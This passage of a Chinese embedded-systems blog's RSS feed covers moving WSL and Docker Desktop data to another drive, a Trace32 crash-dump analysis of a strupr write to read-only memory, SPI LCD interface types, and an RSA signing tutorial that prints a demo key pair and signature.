</span></span><span class="line"><span class="cl">  <span class="nb">docker-desktop</span><span class="n">-data</span>    <span class="n">Running</span>         <span class="mf">2</span>
</span></span></code></pre></td></tr></table>
</div>
</div><ol>
<li>关闭docker服务</li>
</ol>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="n">net</span> <span class="n">stop</span> <span class="s2">&#34;com.docker.service&#34;</span>
</span></span></code></pre></td></tr></table>
</div>
</div><ol start="2">
<li>关闭wsl</li>
</ol>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="n">wsl</span> <span class="p">-</span><span class="n">-shutdown</span>
</span></span></code></pre></td></tr></table>
</div>
</div><ol start="3">
<li>迁移Ubuntu数据</li>
</ol>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="c"># 导出 Ubuntu 数据到 D:\wsl\docker\tmp\ubuntu.tar</span>
</span></span><span class="line"><span class="cl"><span class="n">wsl</span> <span class="p">-</span><span class="n">-export</span> <span class="n">Ubuntu</span> <span class="s2">&#34;D:\wsl\docker\tmp\ubuntu.tar&#34;</span>
</span></span><span class="line"><span class="cl"><span class="c"># 注销 Ubuntu</span>
</span></span><span class="line"><span class="cl"><span class="n">wsl</span> <span class="p">-</span><span class="n">-unregister</span> <span class="n">Ubuntu</span>
</span></span><span class="line"><span class="cl"><span class="c"># 将Ubuntu 从 &#34;D:\wsl\docker\tmp\ubuntu.tar&#34; 导入到 &#34;D:\wsl\ubuntu&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">wsl</span> <span class="p">-</span><span class="n">-import</span> <span class="n">Ubuntu</span> <span class="s2">&#34;D:\wsl\ubuntu&#34;</span> <span class="s2">&#34;D:\wsl\docker\tmp\ubuntu.tar&#34;</span>  <span class="p">-</span><span class="n">-version</span> <span class="mf">2</span>
</span></span><span class="line"><span class="cl"><span class="c"># 设置默认用户，不然登录之后是root用户</span>
</span></span><span class="line"><span class="cl"><span class="n">ubuntu</span> <span class="n">config</span> <span class="p">-</span><span class="n">-default-user</span> <span class="n">hacper</span>
</span></span></code></pre></td></tr></table>
</div>
</div><ol start="4">
<li>迁移docker数据</li>
</ol>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="c"># 导出 docker-desktop-data  到 D:\wsl\docker\tmp\docker-desktop-data.tar</span>
</span></span><span class="line"><span class="cl"><span class="n">wsl</span> <span class="p">-</span><span class="n">-export</span> <span class="nb">docker-desktop</span><span class="n">-data</span> <span class="n">D:</span><span class="p">\</span><span class="n">wsl</span><span class="p">\</span><span class="n">docker</span><span class="p">\</span><span class="n">tmp</span><span class="p">\</span><span class="nb">docker-desktop</span><span class="n">-data</span><span class="p">.</span><span class="py">tar</span>
</span></span><span class="line"><span class="cl"><span class="c"># 注销 docker-desktop-data</span>
</span></span><span class="line"><span class="cl"><span class="n">wsl</span> <span class="p">-</span><span class="n">-unregister</span> <span class="nb">docker-desktop</span><span class="n">-data</span>
</span></span><span class="line"><span class="cl"><span class="c"># 重新导入 docker-desktop-data 到 D:\wsl\docker\data\</span>
</span></span><span class="line"><span class="cl"><span class="n">wsl</span> <span class="p">-</span><span class="n">-import</span> <span class="nb">docker-desktop</span><span class="n">-data</span> <span class="n">D:</span><span class="p">\</span><span class="n">wsl</span><span class="p">\</span><span class="n">docker</span><span class="p">\</span><span class="n">data</span><span class="p">\</span> <span class="n">D:</span><span class="p">\</span><span class="n">wsl</span><span class="p">\</span><span class="n">docker</span><span class="p">\</span><span class="n">tmp</span><span class="p">\</span><span class="nb">docker-desktop</span><span class="n">-data</span><span class="p">.</span><span class="py">tar</span> <span class="p">-</span><span class="n">-version</span> <span class="mf">2</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c"># 导出 docker-desktop 到 D:\wsl\docker\tmp\docker-desktop.tar </span>
</span></span><span class="line"><span class="cl"><span class="n">wsl</span> <span class="p">-</span><span class="n">-export</span> <span class="nb">docker-desktop</span> <span class="n">D:</span><span class="p">\</span><span class="n">wsl</span><span class="p">\</span><span class="n">docker</span><span class="p">\</span><span class="n">tmp</span><span class="p">\</span><span class="nb">docker-desktop</span><span class="p">.</span><span class="py">tar</span> 
</span></span><span class="line"><span class="cl"><span class="c"># 注销 docker-desktop</span>
</span></span><span class="line"><span class="cl"><span class="n">wsl</span> <span class="p">-</span><span class="n">-unregister</span> <span class="nb">docker-desktop</span>
</span></span><span class="line"><span class="cl"><span class="c"># 重新导入 docker-desktop 到 D:\wsl\docker\distro\</span>
</span></span><span class="line"><span class="cl"><span class="n">wsl</span> <span class="p">-</span><span class="n">-import</span> <span class="nb">docker-desktop</span> <span class="n">D:</span><span class="p">\</span><span class="n">wsl</span><span class="p">\</span><span class="n">docker</span><span class="p">\</span><span class="n">distro</span><span class="p">\</span> <span class="n">D:</span><span class="p">\</span><span class="n">wsl</span><span class="p">\</span><span class="n">docker</span><span class="p">\</span><span class="n">tmp</span><span class="p">\</span><span class="nb">docker-desktop</span><span class="p">.</span><span class="py">tar</span> <span class="p">-</span><span class="n">-version</span> <span class="mf">2</span>  
</span></span></code></pre></td></tr></table>
</div>
</div><ol start="5">
<li>删除导出数据</li>
</ol>
<p>迁移成功之后，可以删除原来导出到 D:\wsl\docker\tmp\ 的数据</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">D:\wsl\docker\tmp\ubuntu.tar
</span></span><span class="line"><span class="cl">D:\wsl\docker\tmp\docker-desktop-data.tar
</span></span><span class="line"><span class="cl">D:\wsl\docker\tmp\docker-desktop.tar
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="注意">注意</h2>
<p>使用 wsl &ndash;import 指令重新导入数据到新磁盘目录是，注意该目录需要设置取消压缩、加密，否则会导入失败。</p>
<p><img loading="lazy" src="https://git.poker/hacperme/picx_hosting/blob/master/20210507/image.4and90mlmza0.png?raw=true" alt=""  />
</p>
<h2 id="扫码关注">扫码关注</h2>
<p><img loading="lazy" src="https://git.poker/hacperme/picx_hosting/blob/master/20210507/qrcode_for_gh_b1444a13ac67_258.79qtoo80p9s0.jpg?raw=true" alt=""  />
</p>
]]></content:encoded>
    </item>
    <item>
      <title>trace 32 dump 分析案例：strupr 修改只读内存引发的血案</title>
      <link>https://hacperme.com/posts/series/dump/2022-07-10-trace-32-dump-strupr-case/</link>
      <pubDate>Sun, 10 Jul 2022 00:41:37 +0800</pubDate>
      <guid>https://hacperme.com/posts/series/dump/2022-07-10-trace-32-dump-strupr-case/</guid>
      <description>前言 介绍一个使用 trace 32 分析 dump 的案例，通过这个案例熟悉 trace 32 工具的使用方法，并了解常见的 dump 问题排查思路。 死机的设备是展锐 8910 平台，操作系统是 freertos, c 语言</description>
      <content:encoded><![CDATA[<h2 id="前言">前言</h2>
<p>介绍一个使用 trace 32 分析 dump 的案例，通过这个案例熟悉 trace 32 工具的使用方法，并了解常见的 dump 问题排查思路。</p>
<p>死机的设备是展锐 8910 平台，操作系统是 freertos, c 语言开发环境。</p>
<h2 id="问题分析过程">问题分析过程</h2>
<p>打开 trace 32，加载设备死机时 dump 文件， 首先开任务调用栈，看死机时的停留位置。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image.bty9ryslgd.png" alt=""  />
</p>
<p>死机正在调用的一个函数为strupr，对应的汇编代码为 strb r3,[r1]，这种情况，按照以往经验可以猜测大概率是内存读写问题。为了避免误判，还是需要做一下常规异常排查。</p>
<ol>
<li>查看任务列表，按照任务状态排序，查看ready状态的任务是否有看门狗喂狗任务，排除高优先级任务占用cpu，喂狗任务无法及时得到调度而死机的情况，从下面的截图看呢，喂狗任务正常挂起了，所以不是这个原因</li>
</ol>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image.7i6s6qfuzaw0.png" alt=""  />

2. 查看任务栈，粗略看下有没有栈溢出的情况，排除是否是栈溢出导致内存访问问题。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image.6j9ebcbbjn00.png" alt=""  />
</p>
<p>可以看到，download 任务的任务栈还有 0x2c38 字节未使用，任务栈是够用的，可以排除栈溢出问题。</p>
<p>排除这两种常见情况之后，再分析死机异常的具体原因。</p>
<p>查看死机时汇编代码 strb r3,[r1]，这条指令有访问r1寄存器所指向的内存数据，查看r1寄存器的值，为0x601FFC8C，根据平台经验，0x601FFC8C 这个地址要么是一个属于代码段的地址，要么是一个不存在的非法内存地址，因为栈或者堆上的内存地址是长成0x80xxxxxx这样的。</p>
<p><img loading="lazy" src="https://git.poker/hacperme/picx_hosting/blob/master/20210507/image.5naug3dlcpo0.png?raw=true" alt=""  />
</p>
<p>可以dump一下0x601FFC8C这个地址的数据，看看里面有什么内容，可以看下面截图，0x601FFC8C 地址存放的刚好是一个字符串 “battery”，0x601FFC8C正好是这个字符串的起始地址，由于0x601FFC8C是属于代码段的地址，只能读取不能修改，所以可以断定0x601FFC8C是一个字符串常量。死机原因也可以进一步推测，是不是修改了这个只读变量的内存数据而导致死机呢？</p>
<p><img loading="lazy" src="https://git.poker/hacperme/picx_hosting/blob/master/20210507/image.4da396he42y0.png?raw=true" alt=""  />
</p>
<p>再来看 strupr 这个函数的功能，strupr 是 c 标准库中的一个函数，功能是输入一个字符串数据，然后将其转换为大写。</p>
<p>问题原因似乎逐渐清晰了，汇编指令 strb 的功能正好是将寄存器的一个字节保存到某个内存地址，strb r3,[r1] 也就是将 r3的值保存到r1所指向的地址0x601FFC8C，r3的值是0x42, 对应ascii 字符 “B”, 目的是将battery中的“b”改成大写的&quot;B&quot;。</p>
<p><img loading="lazy" src="https://git.poker/hacperme/picx_hosting/blob/master/20210507/image.48toxjsm38g0.png?raw=true" alt=""  />
</p>
<p>0x601FFC8C 地址里的数据是只读的，修改0x601FFC8C里面的数据导致了死机，死机的根本原因也就找到了。</p>
<p>最后再来看看这段触发死机的代码是怎么写的，cmd_get_config_info 函数里面调用了strupr函数死机，需要查看cmd_get_config_info 的实现</p>
<p><img loading="lazy" src="https://git.poker/hacperme/picx_hosting/blob/master/20210507/image.2ikctxfarwo0.png?raw=true" alt=""  />
</p>
<p>cmd_get_config_info 中使用 strupr 修改数组 names 里面的值</p>
<p><img loading="lazy" src="https://git.poker/hacperme/picx_hosting/blob/master/20210507/image.1y35mq911fog.png?raw=true" alt=""  />
</p>
<p>然后再看 names 里面的数据怎么来的</p>
<p><img loading="lazy" src="https://git.poker/hacperme/picx_hosting/blob/master/20210507/image.1e8zw48ib9r4.png?raw=true" alt=""  />
</p>
<p>原来啊，names 里面的数据，是来自 static const char * 定义的一组字符串数据。在 trace 32 里面，也可以通过对names这个变量指向的地址0x80FA0B94设置断点的方式，查看变量名或者函数名，如下图所示，0x80FA0B94正好是全局变量 __HARDWARE_CONFIG_MODULES 的起始地址。</p>
<p><img loading="lazy" src="https://git.poker/hacperme/picx_hosting/blob/master/20210507/image.4rbb4r2qsf40.png?raw=true" alt=""  />
</p>
<h2 id="一点感想">一点感想</h2>
<p>c 语言是不安全的编程语言，开发调试过程中出现内存问题不可避免，无论如何小心谨慎，老司机也会有翻车的时候，c 语言这样的语言特性，对开发维护和支持来说，是一个不小的包袱。</p>
<h2 id="扫码关注">扫码关注</h2>
<p><img loading="lazy" src="https://git.poker/hacperme/picx_hosting/blob/master/20210507/qrcode_for_gh_b1444a13ac67_258.79qtoo80p9s0.jpg?raw=true" alt=""  />
</p>
]]></content:encoded>
    </item>
    <item>
      <title>常见的 SPI LCD 接口分类</title>
      <link>https://hacperme.com/posts/notes/2022-06-19-spi-lcd-interface/</link>
      <pubDate>Sun, 19 Jun 2022 11:53:33 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2022-06-19-spi-lcd-interface/</guid>
      <description>在评估一款芯片是否支持某款屏幕时，首先要看屏幕的通信接口是否支持，认识和了解屏幕接口的类型，是能否正确评估屏幕选型和驱动调试的前提之一。下面</description>
      <content:encoded><![CDATA[<p>在评估一款芯片是否支持某款屏幕时，首先要看屏幕的通信接口是否支持，认识和了解屏幕接口的类型，是能否正确评估屏幕选型和驱动调试的前提之一。下面介绍 spi 串口 LCD 屏的接口分类和差异。</p>
<p>通常带 spi LCM 外设的芯片，其屏幕的 spi 接口并不是标准的 4 线 spi（四根信号线：CS, MOSI, MISO, CLK），而是专用的 spi 接口。</p>
<p>spi 串口 LCD 屏的接口分类和差异整理之后，如下表所示：</p>
<table>
<thead>
<tr>
<th><!-- raw HTML omitted -->信号线<!-- raw HTML omitted --></th>
<th><!-- raw HTML omitted -->4 线 8 bit Ⅰ 型 1 data line<!-- raw HTML omitted --></th>
<th><!-- raw HTML omitted -->4 线 8 bit Ⅱ 型 1 data line<!-- raw HTML omitted --></th>
<th><!-- raw HTML omitted -->3 线 9 bit Ⅰ型 1 data line<!-- raw HTML omitted --></th>
<th><!-- raw HTML omitted -->3 线 9 bit Ⅱ型 1 data line<!-- raw HTML omitted --></th>
<th><!-- raw HTML omitted -->3 线 9 bit Ⅰ型 2 data line<!-- raw HTML omitted --></th>
<th><!-- raw HTML omitted -->3 线 9 bit Ⅱ型 2 data line<!-- raw HTML omitted --></th>
</tr>
</thead>
<tbody>
<tr>
<td>CS</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>CLK</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>RS(D/CX)</td>
<td>✔(数据/命令选择)</td>
<td>✔(数据/命令选择)</td>
<td>✖ (RS(D/CX)被嵌入数据流中, 没有引脚)</td>
<td>✖ (RS(D/CX)被嵌入数据流中, 没有引脚)</td>
<td>✖ (RS(D/CX)被嵌入数据流中, 没有引脚)</td>
<td>✖ (RS(D/CX)被嵌入数据流中, 没有引脚)</td>
</tr>
<tr>
<td>DIN</td>
<td>✖</td>
<td>✔</td>
<td>✖</td>
<td>✔</td>
<td>✖</td>
<td>✔</td>
</tr>
<tr>
<td>DOUT</td>
<td>✔（DIO, 数据输入/输出）</td>
<td>✔</td>
<td>✔（DIO, 数据输入/输出）</td>
<td>✔</td>
<td>✔（D0）</td>
<td>✔</td>
</tr>
<tr>
<td>DOUT2</td>
<td>✖</td>
<td>✖</td>
<td>✖</td>
<td>✖</td>
<td>✔（RS(D/CX) 复用为 D1）第二 bit 输出</td>
<td>✔（RS(D/CX) 复用为 D1）第二 bit 输出</td>
</tr>
</tbody>
</table>
<h2 id="总结">总结</h2>
<ol>
<li>4 线 spi 和 3 线 spi 接口的区别，4 线 spi 有 D/CX 引脚用于控制命令还是数据选择，而 3 线 spi 没有 D/CX 引脚，在数据中使用 1bit表示命令还是数据。</li>
</ol>
<p><img loading="lazy" src="https://raw.githubusercontent.com/hacperme/picx_hosting/master/20210507/xxx.1fhb0avtpucg.png" alt=""  />

2. 1 data line 和 2 data line 的区别，1 data line 数据位宽只有 1bit, 2 data line 数据位宽有 2 bit, RS(D/CX) 复用为 D1，作为第 2 bit data。</p>
<p><img loading="lazy" src="https://raw.githubusercontent.com/hacperme/picx_hosting/master/20210507/xxx.1fhb0avtpucg.png" alt=""  />
</p>
<ol start="3">
<li>Ⅰ 型 和 Ⅱ 型屏的区别，Ⅱ 型屏有独立的 DIN、DOUT 两个引脚，而Ⅰ 型屏只有一个 data （DIO）引脚，既做输入又做输出。</li>
</ol>
]]></content:encoded>
    </item>
    <item>
      <title>如何使用 mbedtls 生成 RSA 签名和验签？</title>
      <link>https://hacperme.com/posts/notes/2022-04-05-e5a682e4bd95e4bdbfe794a8-mbedtls-e7949fe68890-rsa-e7adbee5908de5928ce9aa8ce7adbeefbc9f/</link>
      <pubDate>Tue, 05 Apr 2022 00:45:20 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2022-04-05-e5a682e4bd95e4bdbfe794a8-mbedtls-e7949fe68890-rsa-e7adbee5908de5928ce9aa8ce7adbeefbc9f/</guid>
      <description>非对称加密会生成一个密钥对：公钥和私钥。公钥公之于众，而私钥需要保密，不公开。一般密钥的使用方法如下表，对于加密的应用场景，发送者使用公钥加</description>
      <content:encoded><![CDATA[<p>非对称加密会生成一个密钥对：公钥和私钥。公钥公之于众，而私钥需要保密，不公开。一般密钥的使用方法如下表，对于加密的应用场景，发送者使用公钥加密消息，接收者使用私钥解密密文，目的是在发送者和接收者之间安全地、秘密地传递消息；对于数字签名的使用场景，发送者使用私钥对消息摘要进行签名，接收者使用公钥对签名进行验签，验签的作用是鉴别发送者身份的真实性和验证消息的完整性。</p>
<table>
<thead>
<tr>
<th><!-- raw HTML omitted -->Algorithm<!-- raw HTML omitted --></th>
<th><!-- raw HTML omitted -->Sender uses..<!-- raw HTML omitted --></th>
<th><!-- raw HTML omitted -->Receiver uses…<!-- raw HTML omitted --></th>
</tr>
</thead>
<tbody>
<tr>
<td>Encryption</td>
<td>Public key</td>
<td>Private key</td>
</tr>
<tr>
<td>Signature</td>
<td>Private key</td>
<td>Public key</td>
</tr>
</tbody>
</table>
<p>我们使用python和C语言来介绍如何生成 RSA 签名并验证签名，使用到的加密库是 Cryptodome 和 mbedtls。首先使用 python 生成签名，在 c 代码中进行验签；然后也在 c 代码中生成签名，在python里进行验签，目的是使用两种编程环境，方便相互验证。</p>
<h2 id="在python中生成签名">在python中生成签名</h2>
<p>导入 python 包，需要用到 Cryptodome 的 PublicKey、Signature、Hash 以及 base64 编码解码这几个模块。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Cryptodome.PublicKey</span> <span class="kn">import</span> <span class="n">RSA</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Cryptodome.Signature</span> <span class="kn">import</span> <span class="n">pkcs1_15</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Cryptodome.Hash</span> <span class="kn">import</span> <span class="n">SHA256</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">base64</span> <span class="kn">import</span> <span class="n">b64encode</span><span class="p">,</span><span class="n">b64decode</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>生成公钥和私钥，并输出为 PEM 格式。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 生成密钥对</span>
</span></span><span class="line"><span class="cl"><span class="n">keyPair</span> <span class="o">=</span> <span class="n">RSA</span><span class="o">.</span><span class="n">generate</span><span class="p">(</span><span class="n">bits</span><span class="o">=</span><span class="mi">1024</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 私钥</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">keyPair</span><span class="o">.</span><span class="n">export_key</span><span class="p">(</span><span class="s2">&#34;PEM&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 公钥</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">keyPair</span><span class="o">.</span><span class="n">public_key</span><span class="p">()</span><span class="o">.</span><span class="n">export_key</span><span class="p">(</span><span class="s2">&#34;PEM&#34;</span><span class="p">))</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>私钥：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">-----BEGIN RSA PRIVATE KEY-----\n
</span></span><span class="line"><span class="cl">MIICXQIBAAKBgQDTt8tp4xNp29CMxy6QS0NzpR6t8bAcv7ei3NkVM/Nzg3K5wWZR\n
</span></span><span class="line"><span class="cl">aBTMovbzKCXdXYdC6GutVkG+CEetO3XHM4LhDqW0vwISTO65/XrvR3zqXD5ZjrJF\n
</span></span><span class="line"><span class="cl">mtCAvkCwtMAPjqXZ/RJnd8yrXuoz5cRqVgKmq5TZlGIIiTPIklxGIGof8QIDAQAB\n
</span></span><span class="line"><span class="cl">AoGAFf1BJoiD5+sBdFmsq6ZxhUWZU+ImEzpTUZpD/riEWNNGe2YLoTlg7acgZH1f\n
</span></span><span class="line"><span class="cl">P2hbJ9cZdemfTuQvw52JHE0sktCUM6R0wq5rlbDj740+5yZYzs9FlUntm6UtoU9w\n
</span></span><span class="line"><span class="cl">tpd62/iPxovFkguunJB2KBbtP8q0dYQntATEce1TZuS3trUCQQDl7VRYygSb3/HY\n
</span></span><span class="line"><span class="cl">ij2ya1592WpgNWgmPvbpmUjGGBvjmnO8Ye1lEy6x69RmGjRrLvFfhWYwcF2HpmYQ\n
</span></span><span class="line"><span class="cl">9wXKEwT1AkEA67nc/CdeT4j9jRE/QFXlhVrW8Gq8IfjXFGbGK5BqlTRbty3OpW+L\n
</span></span><span class="line"><span class="cl">M9GPqiMC2XxN60peEiANlQ8aUnvbHZexjQJAcz4RGK+ov7fvL+maIuNN6SYf+zjJ\n
</span></span><span class="line"><span class="cl">iuHkQBFkOGW9FMdFWxZ6Nj73GJZrTwGzZEWTFZ13KrAnMOZmIfquHCqMQQJBAL+u\n
</span></span><span class="line"><span class="cl">x9ATg1FRqDyKBdEfCCDEmXuuj4VggCUK3aKXMNRbWyk9iohkh+F/Sz+icLLBreri\n
</span></span><span class="line"><span class="cl">8lPy1JidS14/cRJDRBECQQCT4oNvmV5CYzqkqbgwtLPi/FIjc6Zi26DGxBzL01V+\n
</span></span><span class="line"><span class="cl">yTO1ZlOOUOtY4dPBnU4COkdq6hWqum/Q6kiVj91qAUHN\n
</span></span><span class="line"><span class="cl">-----END RSA PRIVATE KEY-----
</span></span></code></pre></td></tr></table>
</div>
</div><p>公钥：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">-----BEGIN PUBLIC KEY-----\n
</span></span><span class="line"><span class="cl">MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDTt8tp4xNp29CMxy6QS0NzpR6t\n
</span></span><span class="line"><span class="cl">8bAcv7ei3NkVM/Nzg3K5wWZRaBTMovbzKCXdXYdC6GutVkG+CEetO3XHM4LhDqW0\n
</span></span><span class="line"><span class="cl">vwISTO65/XrvR3zqXD5ZjrJFmtCAvkCwtMAPjqXZ/RJnd8yrXuoz5cRqVgKmq5TZ\n
</span></span><span class="line"><span class="cl">lGIIiTPIklxGIGof8QIDAQAB\n
</span></span><span class="line"><span class="cl">-----END PUBLIC KEY-----
</span></span></code></pre></td></tr></table>
</div>
</div><p>定义将要签名数据，并计算哈希值，哈希算法使用 SHA256。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 消息</span>
</span></span><span class="line"><span class="cl"><span class="n">msg</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;A message for signing&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 生成加密算子</span>
</span></span><span class="line"><span class="cl"><span class="n">c</span> <span class="o">=</span> <span class="n">pkcs1_15</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">keyPair</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">h</span> <span class="o">=</span> <span class="n">SHA256</span><span class="o">.</span><span class="n">new</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 计算hash，并打印为16进制字符串</span>
</span></span><span class="line"><span class="cl"><span class="n">h</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">msg</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">h</span><span class="o">.</span><span class="n">digest</span><span class="p">()</span><span class="o">.</span><span class="n">hex</span><span class="p">())</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">47f53245cd05a2b3e811ad6515000b44604b947a57d441b02125b04f4a16bb74
</span></span></code></pre></td></tr></table>
</div>
</div><p>对哈希值进行签名，并输出签名数据为16进制字符串</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">sign</span> <span class="o">=</span> <span class="n">c</span><span class="o">.</span><span class="n">sign</span><span class="p">(</span><span class="n">h</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">sign</span><span class="o">.</span><span class="n">hex</span><span class="p">())</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">29889917f0b5f0edf080266f0e9b5f33c561fce3ccadc01fea77bd7accd2bb180630ae7b70a090b96737dc917c89098a5ab4a8f9ecf390f2487d71938f7cf726cf6fbf50c2dad5f7a0187d09d645fb273932a6404f92c412a9b034a5a24f888dc309db5e226d352cbcfd3d8f4513743c1cbf4d99f71ca73500c28c60c2d48dff
</span></span></code></pre></td></tr></table>
</div>
</div><p>最终对签名数据进行 base64 编码，相比于16进制字符串数据，base64 编码得到的数据长度相对较小，这应该是对二进制数据使用 base64编码的一个优势。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">b64encode</span><span class="p">(</span><span class="n">sign</span><span class="p">))</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
